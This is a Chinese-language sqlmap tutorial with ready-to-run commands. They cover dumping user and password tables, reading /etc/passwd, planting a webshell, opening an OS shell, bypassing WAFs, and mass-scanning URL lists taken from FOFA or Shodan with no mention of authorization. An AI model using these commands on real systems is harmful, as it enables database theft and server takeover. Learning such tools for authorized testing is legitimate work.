sqlmap 使用教程(從入門到進階)
超詳細 sqlmap 使用教程(從入門到進階)
sqlmap 是一款強大的開源 SQL 注入自動化測試工具,支持識別并利用多種類型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不僅能識別注入,還能實現(xiàn)數(shù)據(jù)庫指紋識別、表結構讀取、數(shù)據(jù)導出、文件讀寫、提權、命令執(zhí)行等。
一、安裝 sqlmap
方式一:源碼安裝(推薦)
git clone https://gitcode.com/sqlmapproject/sqlmap.git //國內鏡像 cd sqlmap python3 sqlmap.py -h
方式二:APT 安裝(適用于 Kali、Debian)
sudo apt update sudo apt install sqlmap sqlmap -h
二、基本命令語法
sqlmap -u "http://target.com/vuln.php?id=1" [options]
-u
:目標 URL,支持 GET 和 POST 參數(shù)--data
:提交 POST 參數(shù)--cookie
:提交 Cookie 頭-p
:指定注入點參數(shù)--batch
:自動確認(用于腳本執(zhí)行時非交互)--random-agent
:偽造瀏覽器 UA
三、典型實戰(zhàn)用法大全(按功能分類)
1、基礎測試注入點
1、自動探測 GET 參數(shù)是否存在注入
sqlmap -u "http://site.com/page.php?id=1"
2、測試 POST 請求參數(shù)
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
3、帶 Cookie 測試(如登錄后才可注入)
sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
4、指定注入?yún)?shù)(默認會測試所有)
sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
5、靜態(tài)請求文件(如 Burp 抓包導出的 .txt)
sqlmap -r request.txt
2、數(shù)據(jù)庫識別與信息收集
1、獲取數(shù)據(jù)庫類型和版本
sqlmap -u "http://target.com/?id=1" --banner
2、獲取當前數(shù)據(jù)庫名
sqlmap -u "http://target.com/?id=1" --current-db
3、獲取當前用戶、權限
sqlmap -u "http://target.com/?id=1" --current-user --is-dba
4、獲取所有數(shù)據(jù)庫名
sqlmap -u "http://target.com/?id=1" --dbs
5、枚舉數(shù)據(jù)庫的表名
sqlmap -u "http://target.com/?id=1" -D testdb --tables
6、枚舉表內字段名
sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
7、導出數(shù)據(jù)
sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump
3、繞過過濾和防護機制
1、偽造 User-Agent / Referer
sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
2、自定義 HTTP 請求頭
sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
3、使用隨機 UA 繞過 WAF
sqlmap -u "http://target.com/?id=1" --random-agent
4、使用 tamper 腳本繞過 WAF(如 Cloudflare)
sqlmap -u "http://target.com/?id=1" --tamper=space2comment
推薦組合使用多個:
--tamper=space2comment,charunicodeescape,between
4、特殊注入場景支持
1、支持時間盲注(time-based blind)
sqlmap -u "http://target.com/page.php?id=1" --technique=T
2、支持報錯注入(error-based)
sqlmap -u "http://target.com/page.php?id=1" --technique=E
3、使用堆疊查詢
sqlmap -u "http://target.com/page.php?id=1" --stacked-query
5、文件系統(tǒng)操作(高危)
1、讀取遠程服務器文件(如配置文件)
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
2、上傳寫入 webshell(需要寫權限)
sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"
6、系統(tǒng)命令執(zhí)行(高權限下)
1、執(zhí)行系統(tǒng)命令(如 whoami、ipconfig)
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
2、啟動交互式命令行(非常強大)
sqlmap -u "http://target.com/page.php?id=1" --os-shell
注意:必須具備數(shù)據(jù)庫用戶執(zhí)行系統(tǒng)命令的權限(如
xp_cmdshell
,load_file
,into outfile
等)
7、登錄口爆破測試(少見用法)
如果某參數(shù)中存在注入點,sqlmap 可嘗試暴力登錄:
sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords
8、會話保存 / 自動繼續(xù)掃描
1、保存掃描進度
sqlmap -u "http://target.com" --batch --flush-session
2、繼續(xù)之前未完成的任務
sqlmap -u "http://target.com" --resume
9、指定數(shù)據(jù)庫引擎、注入技術
--dbms=mysql # 強制使用 MySQL --technique=BEUSTQ # 指定注入技術
技術說明:
B
:布爾盲注E
:報錯注入U
:聯(lián)合查詢S
:堆疊語句T
:時間盲注Q
:inline 查詢
四、輔助技巧與實用建議
場景 | 推薦參數(shù) |
---|---|
多參數(shù)存在注入 | 使用 --level=5 --risk=3 |
避免頻繁交互 | 加 --batch |
WAF 檢測或屏蔽 | --random-agent --tamper |
響應慢 / 網(wǎng)站卡頓 | 加 --timeout=10 --retries=3 --delay=1 |
避免爆炸性數(shù)據(jù) | 加 --fresh-queries --exclude-sysdbs |
五、實戰(zhàn)案例總結
例 1:自動識別 + 導出所有數(shù)據(jù)
sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all
例 2:POST 登錄接口注入測試
sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch
例 3:使用 Burp 抓包測試
sqlmap -r burp_request.txt --batch
例 4:讀取數(shù)據(jù)庫用戶信息并執(zhí)行 whoami
sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"
六、總結建議
建議 | 理由 |
---|---|
使用 --batch 做自動測試 | 減少交互操作,提高效率 |
指定 -p 參數(shù) | 避免浪費時間在無關參數(shù) |
學會使用 -r 靜態(tài)請求文件 | 更適合測試復雜 POST、Cookie 請求 |
配合 Burp + sqlmap 使用 | 手動確認參數(shù)后自動化測試更高效 |
測試環(huán)境先用 --risk=1 --level=1 | 線上目標避免影響服務 |
禁用系統(tǒng)功能或告警 | 如 --os-shell 等需謹慎使用 |
?? 七、sqlmap 高級技巧 & 實戰(zhàn)應用拓展
1. 自動化批量測試多個目標
如果你有一個大量 URL 的列表,比如從 Google/Burp/爬蟲中導出的可疑鏈接:
方法一:使用--batch+--crawl+ Bash 腳本
cat urls.txt | while read url; do sqlmap -u "$url" --batch --crawl=2 --threads=5 done
方法二:配合目標資產平臺輸出(如 FOFA、Quake、Shodan)
結合搜索引擎導出資產后:
for u in $(cat fofa_urls.txt); do sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2 done
2. 常用組合參數(shù)模板(實戰(zhàn)推薦)
場景 | 推薦組合參數(shù) |
---|---|
公開測試平臺 / 漏掃 | --random-agent --batch --threads=5 |
內網(wǎng)實戰(zhàn)探測(不打擾目標) | --level=1 --risk=1 --technique=B --time-sec=5 --delay=1 |
目標用 POST 登錄 | --data="user=admin&pass=123" |
Cookie 有效期短 | --cookie="JSESSIONID=xxxxxx" |
遇到 CDN 防護 | --tamper=between,space2comment |
目標只允許 HEAD 請求 | --method=HEAD |
深入盲注場景 | --technique=T --time-sec=10 |
3. 常見 Tamper 繞過腳本說明
sqlmap 支持用 --tamper
參數(shù)指定腳本,在發(fā)送請求前修改 Payload(用于繞過 WAF):
腳本名 | 功能說明 |
---|---|
space2comment.py | 將空格替換為 /**/ 注釋 |
between.py | 使用 BETWEEN 替代等號 |
charunicodeescape.py | 字符轉為 unicode 編碼 |
equaltolike.py | 將 = 替換為 LIKE |
randomcase.py | 字母大小寫混淆 |
unionalltounion.py | 將 UNION ALL SELECT 改成 UNION SELECT |
percentage.py | 使用 % 編碼關鍵字 |
? 組合使用示例:
sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch
4. 對抗防火墻與 WAF 策略
1、檢測是否有 WAF
sqlmap -u "http://target.com/?id=1" --identify-waf
如果提示類似:
[!] WAF/IDS/IPS identified: Cloudflare
就說明目標使用了防御系統(tǒng),應切換到:
- 慢速測試:
--delay=1 --timeout=10
- 編碼繞過:
--tamper
- 限制技術:
--technique=B
5. SQL 注入技術選型建議
技術代碼 | 類型 | 特點說明 |
---|---|---|
B | Boolean Blind | 最隱蔽,但慢 |
T | Time-based Blind | 非回顯場景常用 |
E | Error-based | 快速,依賴數(shù)據(jù)庫錯誤信息 |
U | Union Query | 最快,依賴回顯 |
S | Stacked Queries | 可寫文件/執(zhí)行命令 |
Q | Inline Query | 針對特定場景如 PostgreSQL |
bash復制編輯--technique=BEUSTQ # 開啟所有類型 --technique=BEU # 只測回顯類 --technique=T # 強制盲注
6. sqlmap session 保存與重用
sqlmap 會默認保存掃描歷史到 .sqlmap/output/host/
,也支持:
--flush-session
:清除上次掃描緩存--resume
:恢復未完成任務--output-dir=custom/
:自定義輸出路徑
7. 利用 sqlmap API 進行自動化任務管理
1、啟動 API 服務端(默認端口 8775)
python3 sqlmapapi.py -s
2、與之交互(Python 代碼 / Postman / curl 調用)
POST /task/new POST /scan/start GET /scan/{id}/log
可搭配 Web UI 或自動化滲透框架集成,例如:
- Awvs + sqlmap 聯(lián)動
- 命令行批量漏洞驗證器中調 sqlmap API
8. 輸出數(shù)據(jù)格式控制
參數(shù) | 功能 |
---|---|
--batch | 省略交互 |
--forms | 自動識別表單 |
--threads=10 | 多線程加速 |
--output-dir=xxx | 指定輸出目錄 |
--crawl=2 | 自動爬取內部頁面 2 層 |
--fresh-queries | 不使用緩存 |
--parse-errors | 嘗試解析錯誤信息 |
--save | 保存參數(shù)為 profile |
9. sqlmap 配合滲透測試場景
滲透階段 | sqlmap 使用點 |
---|---|
信息收集 | 自動識別數(shù)據(jù)庫、DBA 用戶、DB 類型 |
權限提升 | 利用堆疊查詢執(zhí)行文件寫入、提權腳本 |
持久化控制 | 寫入 Webshell,執(zhí)行后門 |
lateral movement | 獲取數(shù)據(jù)庫中的 VPN 賬號、內網(wǎng) IP、后臺密碼等 |
10. 學習路徑建議(由淺入深)
- ? 掌握基本注入點掃描(
--dbs --tables --dump
) - ? 理解 6 大注入技術(BEUSTQ)
- ? 學會繞過 WAF(tamper 編寫與選擇)
- ? 學會構造 request.txt / Cookie / Header 注入
- ? 腳本化調用 sqlmap 自動打點
- ? 分析源碼、寫 tamper、定制注入 payload
附:推薦資源
類型 | 鏈接 |
---|---|
官網(wǎng) | https://sqlmap.org |
GitHub | https://gitcode.com/sqlmapproject/sqlmap |
API 文檔 | https://gitcode.com/sqlmapproject/sqlmap/wiki/Usage |
Tamper 腳本文檔 | https://gitcode.com/sqlmapproject/sqlmap/tree/master/tamper |
sqlmap API 工具封裝 | sqlmapapi-client |
? 總結一句話:
sqlmap 不只是一個掃描工具,它是一臺自動化的數(shù)據(jù)庫信息提取武器庫,只要你掌握參數(shù),就能完成注入探測、提權、文件操作等一整套攻擊鏈。
到此這篇關于sqlmap 使用教程(從入門到進階)的文章就介紹到這了,更多相關sqlmap 使用內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
詳解SpringBoot配置devtools實現(xiàn)熱部署
本篇文章主要介紹了詳解SpringBoot配置devtools實現(xiàn)熱部署 ,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨小編過來看看吧2017-05-05